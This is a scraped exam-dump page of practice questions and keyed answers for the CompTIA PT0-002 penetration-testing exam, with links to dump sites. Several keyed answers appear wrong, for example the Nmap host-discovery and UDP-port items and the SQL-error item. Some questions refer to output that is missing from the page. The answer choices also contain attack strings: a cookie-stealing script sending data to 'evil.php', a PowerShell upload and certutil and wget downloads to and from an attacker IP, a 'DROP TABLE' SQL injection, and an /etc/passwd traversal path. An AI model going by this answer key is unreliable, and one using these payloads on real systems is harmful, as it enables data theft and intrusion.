Free CompTIA PT0-002 Test Practice Test Questions Exam Dumps
Prepare Top CompTIA PT0-002 Exam Audio Study Guide Practice Questions Edition
NEW QUESTION 12
A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?
- A. Alternate data streams
- B. MP4 steganography
- C. PsExec
- D. PowerShell modules
Answer: C
NEW QUESTION 13
A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?
- A. The proper emergency contacts for the client
- B. The expected time frame of the assessment
- C. The correct user accounts and associated passwords
- D. A signed statement of work
Answer: B
NEW QUESTION 14
A penetration tester conducted a discovery scan that generated the following:
Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?
- A. nmap --open 192.168.0.1-254, uniq
- B. nmap -o 192.168.0.1-254, cut -f 2
- C. nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print S5}'
- D. nmap -oG list.txt 192.168.0.1-254 , sort
Answer: B
NEW QUESTION 15
Appending string values onto another string is called:
- A. conjunction
- B. concatenation
- C. compilation
- D. connection
Answer: B
NEW QUESTION 16
A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?
- A. Wait for the next login and perform a downgrade attack on the server.
- B. Perform a brute-force attack over the server.
- C. Capture traffic using Wireshark.
- D. Use an FTP exploit against the server.
Answer: C
NEW QUESTION 17
A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?
- A. nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan
- B. nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan
- C. nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan
- D. nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan
Answer: C
NEW QUESTION 18
A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?
- A. OllyDbg
- B. GDB
- C. Drozer
- D. Immunity Debugger
Answer: A
NEW QUESTION 19
A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?
- A. Performing spear phishing against employees by posing as senior management
- B. Using a brute-force attack against the external perimeter to gain a foothold
- C. Dropping a malicious USB key with the company's logo in the parking lot
- D. Attempting to tailgate an employee going into the client's workplace
Answer: B
NEW QUESTION 20
Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?
- A. Acceptance by the client and sign-off on the final report
- B. Scheduling of follow-up actions and retesting
- C. Attestation of findings and delivery of the report
- D. Review of the lessons learned during the engagement
Answer: A
NEW QUESTION 21
A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial dat a. Which of the following should the tester do with this information to make this a successful exploit?
- A. Conduct a watering-hole attack.
- B. Use BeEF.
- C. Perform XSS.
- D. Use browser autopwn.
Answer: C
NEW QUESTION 22
A penetration tester conducted an assessment on a web server. The logs from this session show the following:
http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -- Which of the following attacks is being attempted?
- A. Parameter pollution
- B. Cross-site scripting
- C. Clickjacking
- D. Session hijacking
- E. Cookie hijacking
Answer: A
NEW QUESTION 23
A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:
Which of the following is the BEST method to help an attacker gain internal access to the affected machine?
- A. Download the smb.conf file and look at configurations
- B. Edit the discovered file with one line of code for remote callback
- C. Download .pl files and look for usernames and passwords
- D. Edit the smb.conf file and upload it to the server
Answer: D
NEW QUESTION 24
A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?
- A. Malware injection
- B. Direct-to-origin
- C. Cross-site scripting
- D. Credential harvesting
Answer: B
NEW QUESTION 25
Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?
- A. NIST SP 800-53
- B. MITRE ATT&CK framework
- C. PTES technical guidelines
- D. OWASP Top 10
Answer: B
NEW QUESTION 26
A tester who is performing a penetration test on a website receives the following output:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62 Which of the following commands can be used to further attack the website?
- A. 1 UNION SELECT 1, DATABASE(),3--
- B. /var/www/html/index.php;whoami
- C. ../../../../../../../../../../etc/passwd
- D. <script>var adr= '../evil.php?test=' + escape(document.cookie);</script>
Answer: B
NEW QUESTION 27
A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?
- A. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
- B. certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
- C. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- D. wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe
Answer: A
NEW QUESTION 28
A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?
- A. Socat
- B. tcpdump
- C. dig
- D. Scapy
Answer: A
NEW QUESTION 29
A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important dat a. Which of the following was captured by the testing team?
- A. Multiple handshakes
- B. Encrypted file transfers
- C. User hashes sent over SMB
- D. IP addresses
Answer: C
NEW QUESTION 30
A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?
- A. Server-side request forgery
- B. Remote file inclusion
- C. Local file inclusion
- D. Cross-site request forgery
Answer: A
NEW QUESTION 31
......
Go to PT0-002 Questions - Try PT0-002 dumps pdf : https://www.exams-boost.com/PT0-002-valid-materials.html
Dumps Practice Exam Questions Study Guide for the PT0-002 Exam: https://drive.google.com/open?id=1q8xZ1cLdt66rrG_BFiTa3k22Qnui_kJz